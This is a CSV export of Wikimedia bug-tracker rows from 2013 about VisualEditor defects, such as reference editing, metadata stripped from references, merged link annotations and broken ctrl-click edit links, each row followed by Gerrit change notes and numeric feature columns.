+245183,VisualEditor: Provide way for local wikis to auto-prompt reference templates,For clarification: I'll assume that this is about what you put _inside_ the <ref> tags and not about templates that add the <ref> tags themselves.,,,1374823336,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-qsgca2wst2byl7ix2pwv,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,1
+245176,VisualEditor: Provide way for local wikis to auto-prompt reference templates,*** Bug 51683 has been marked as a duplicate of this bug. ***,,,1374260100,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qsgca2wst2byl7ix2pwv,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52073,VisualEditor: Template-based references never editable from reference editor in Firefox,"Screenshot
+
+See screenshot. Kiiinda worrying - if this is something a group of people > me is seeing it may be a blocker.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**URL**: https://en.wikipedia.org/wiki/Joe_Flacco?veaction=edit
+
+**Attached**: {F11445}",Unbreak Now!,100.0,1372035120,1372040794.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-awj25x4zsacz62adi3j5,task_description,resolved,True,c1,2,False,False,True,-1,,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+242932,VisualEditor: Template-based references never editable from reference editor in Firefox,Related URL: https://gerrit.wikimedia.org/r/70119 (Gerrit Change I29e210aba9a6265d8364ff8ae49408cb4c2428b9),,,1372040060,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-awj25x4zsacz62adi3j5,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+242925,VisualEditor: Template-based references never editable from reference editor in Firefox,Confirmed by a second user.,,,1372035227,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-awj25x4zsacz62adi3j5,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52067,"VisualEditor: If a sanity check doesn't work out, encourage the user to do a wikitext diff before saving","
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1372029300,1372387323.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-e3u3nzdde2xltny25tvr,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+242549,"VisualEditor: If a sanity check doesn't work out, encourage the user to do a wikitext diff before saving",Written and about to be deployed.,,,1372387323,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-e3u3nzdde2xltny25tvr,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+242544,"VisualEditor: If a sanity check doesn't work out, encourage the user to do a wikitext diff before saving","Change 70106 merged by jenkins-bot:
+mw.ViewPageTarget: Add sanity check for DOM roundtrip
+
+https://gerrit.wikimedia.org/r/70106",,,1372387308,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-e3u3nzdde2xltny25tvr,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+242541,"VisualEditor: If a sanity check doesn't work out, encourage the user to do a wikitext diff before saving",Related URL: https://gerrit.wikimedia.org/r/70106 (Gerrit Change I04f71fe8e00c6257fbc953cc9de3323e24709b0f),,,1372029924,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-e3u3nzdde2xltny25tvr,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+52059,VisualEditor: Metadata not preserved in references,"They get stripped out when rendered back to HTML.
+
+e.g.
+
+<ref>Foo<!--bar--></ref>
+
+->
+
+<ref>Foo</ref>
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1372007340,1372039639.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-ibds6gk456ofg6szjteu,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+242101,VisualEditor: Metadata not preserved in references,Related URL: https://gerrit.wikimedia.org/r/70060 (Gerrit Change I3bbea49132ef4a720a147ba9b170c39a0c00f711),,,1372008261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibds6gk456ofg6szjteu,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+52050,VisualEditor: Inline text style annotations with different attributes should not be merged,"Moved from #48830.
+
+Merlijn van Deen 2013-06-23 11:20:36 UTC
+----------------------------------------
+https://www.mediawiki.org/w/index.php?title=Git%2FConversion%2Fpywikipedia&diff=714194&oldid=713893
+The only real edit is at the bottom.
+
+Krinkle 2013-06-23 11:25:31 UTC
+-------------------------------
+This is due to the merging of the 2 <b> tags. Currently it fails compare custom
+attributes like ""style"" when attempting to merge equal annotation sequences.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=48830",Unbreak Now!,100.0,1371986880,1372001636.0,PHID-USER-muirnivxp5hzppn2a3z7,False,,False,PHID-TASK-yc4hfzr5ombibggchvok,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+241658,VisualEditor: Inline text style annotations with different attributes should not be merged,"We have a work around for this - gerrit 69852 - now in production in VisualEditor, but the underlying cause is bug 48194. I've manually fixed the changes VE made - sorry about that: https://www.mediawiki.org/w/index.php?title=Git/Conversion/pywikipedia&diff=715751&oldid=715067",,,1372001636,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yc4hfzr5ombibggchvok,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+51993,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","This doesn't work; not quite sure why/how. Should be fixed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1371859260,1373053912.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-7sjurdxqyilrckxefznc,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0
+238346,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow",Fix merged and will hopefully go out soon.,,,1373053912,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+238340,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","Change 72069 merged by jenkins-bot:
+mw.ViewPageTarget.init: Move edit section to top init
+
+https://gerrit.wikimedia.org/r/72069",,,1373049614,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238334,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","Change 72069 had a related patch set uploaded by Jforrester:
+mw.ViewPageTarget.init: Move edit section to top init.
+
+https://gerrit.wikimedia.org/r/72069",,,1373039964,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238328,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","Gah, bad breakage related to making VE more lightweight - sorry about that. Gerrit 72069 fixes this, according to my local testing - we'll try to get this out today.",,,1373039949,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+238322,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","My testing shows that ctrl+click works only in VE-enabled namespaces but middle click works everywhere in Firefox 22. 
+
+In Konqueror 4.8.5 (which is apparently not enabled for VE) both ctrl+click and middle click both work only in VE-enabled namespaces.",,,1373035918,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+238317,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","I'm not sure how the fix was implemented, but it seems to have started occurring again - this time only in namespaces in which the VE isn't active.",,,1373033397,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+238312,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow",Related URL: https://gerrit.wikimedia.org/r/70773 (Gerrit Change I5245ab19ae16b79d2c562c05b94649a58e04a4fd),,,1372289786,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+238307,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow",Fixed in gerrit 70735 which is now merged and will get pushed later today.,,,1372280988,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+238303,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","Raising importance, this is quite annoying. It's just been reported on [[WP:VPT]] for the second time today.",,,1372264953,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+238298,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow",*** Bug 50221 has been marked as a duplicate of this bug. ***,,,1372264868,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+238291,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","**pinkampersand.wikimedia** wrote:
+
+I should note that I've been having this bug (well, with ctrl-click on my laptop, but think that's the same thing), and I don't have VE enabled. However, this bug's several days old, and I'm pretty sure this has only been happening to me within the past hour. Chrome on a ChromeOS netbook.",,,1372252282,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+238287,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow",Some back-of-the-envelope work by users indicates that firefox (logged in) and chromium (logged out) on linux have this problem; firefox and IE on Windows (not logged in) do not.,,,1372173256,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+51985,"VisualEditor: Adjacent link annotations (one of which is from Parsoid, one from VisualEditor) should conjoin","Steps to reproduce:
+1. Insert the cursor immediately after the first letter of a link
+2. Hit delete/backspace
+3. Type a new character
+4. The new character isn't part of the link, so select the entire word and click the link button
+5. Re-enter the link article
+6. Save your changes
+
+Expected result:
+If you started with ""[[Porcupine]]"", you should end up with ""[[porcupine]]"".
+
+Actual result:
+If you started with ""[[Porcupine]]"", you end up with ""[[porcupine|p]][[Porcupine|orcupine]]"".
+
+This is just a common use case demonstrating a more general bug. Namely, if you create a new link that subsumes an existing link, the existing link is preserved within the new link instead of being replaced.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50098",Unbreak Now!,100.0,1371855300,1372355114.0,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,False,PHID-TASK-uuaax5ooenq6lyv32r7j,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+237949,"VisualEditor: Adjacent link annotations (one of which is from Parsoid, one from VisualEditor) should conjoin","(In reply to comment #5)
+> Change 70633 merged by jenkins-bot:
+> Fix comparison of MW internal links
+> 
+> https://gerrit.wikimedia.org/r/70633
+
+And with that change, this bug is fixed; closing. It will be deployed this afternoon.",,,1372355114,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uuaax5ooenq6lyv32r7j,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+237941,"VisualEditor: Adjacent link annotations (one of which is from Parsoid, one from VisualEditor) should conjoin","Change 70633 merged by jenkins-bot:
+Fix comparison of MW internal links
+
+https://gerrit.wikimedia.org/r/70633",,,1372354202,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uuaax5ooenq6lyv32r7j,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+237935,"VisualEditor: Adjacent link annotations (one of which is from Parsoid, one from VisualEditor) should conjoin",Related URL: https://gerrit.wikimedia.org/r/70633 (Gerrit Change I5fb5bfc69c344ca4ce4803d7b6116074648a8d7e),,,1372255145,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uuaax5ooenq6lyv32r7j,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+237929,"VisualEditor: Adjacent link annotations (one of which is from Parsoid, one from VisualEditor) should conjoin","There are two issues here.
+
+First off, we should change getComparableObject() for MWInternalLinkAnnotation to normalize the title and possibly tweak other things to the point where links to the same title are comparable, even if they have different capitalizations or space-vs-underscore variants of that title. That will be both more semantically correct and serve as a workaround for this bug.
+
+Secondly, because we want to stop merging comparable but different annotations in the converter, we need Parsoid to correctly process at least things like <a href=""Porcupine"">p</a><a href=""Porcupine"">orcupine</a> (adjacent <a>s with the same href) and possibly <a href=""porcupine"">p</a><a href=""Porcupine"">orcupine</a> as well (adjacent <a>s with different hrefs that normalize to the same title).",,,1372036243,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-uuaax5ooenq6lyv32r7j,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+237922,"VisualEditor: Adjacent link annotations (one of which is from Parsoid, one from VisualEditor) should conjoin","Similar but different. This case should definitely be fixed in VE, not Parsoid.",,,1371982074,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-uuaax5ooenq6lyv32r7j,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+237916,"VisualEditor: Adjacent link annotations (one of which is from Parsoid, one from VisualEditor) should conjoin","Ed, is this due to the DM stuff around adjacent annotations?",,,1371855415,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uuaax5ooenq6lyv32r7j,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+51846,mediawiki/extensions.git does not update some extensions,"http://en.wikipedia.beta.wmflabs.org/wiki/Special:Version shows that the version of VisualEditor on beta labs is from May 28.  The version of Parsoid on beta labs shows no date. 
+
+It would be convenient to have VE/Parsoid available on beta labs as well as on test2wiki and mediawiki.org
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical
+**Whiteboard**: rmqa-2013",Unbreak Now!,100.0,1371684540,1390501982.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-7sbdbkrfcvaejzeycoty,task_description,resolved,True,c1,2,False,False,False,-2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+750449,mediawiki/extensions.git does not update some extensions,"Change 317923 merged by Dzahn:
+contint: remove python-requests
+
+[[https://gerrit.wikimedia.org/r/317923]]",,,1477523670,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,173,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+749667,mediawiki/extensions.git does not update some extensions,"Change 317923 had a related patch set uploaded (by Hashar):
+contint: remove python-requests
+
+[[https://gerrit.wikimedia.org/r/317923]]
+",,,1477429966,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,173,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+730051,mediawiki/extensions.git does not update some extensions,"Change 311161 merged by Dzahn:
+contint: drop now unused sudo rule
+
+[[https://gerrit.wikimedia.org/r/311161]]",,,1474048424,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,167,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
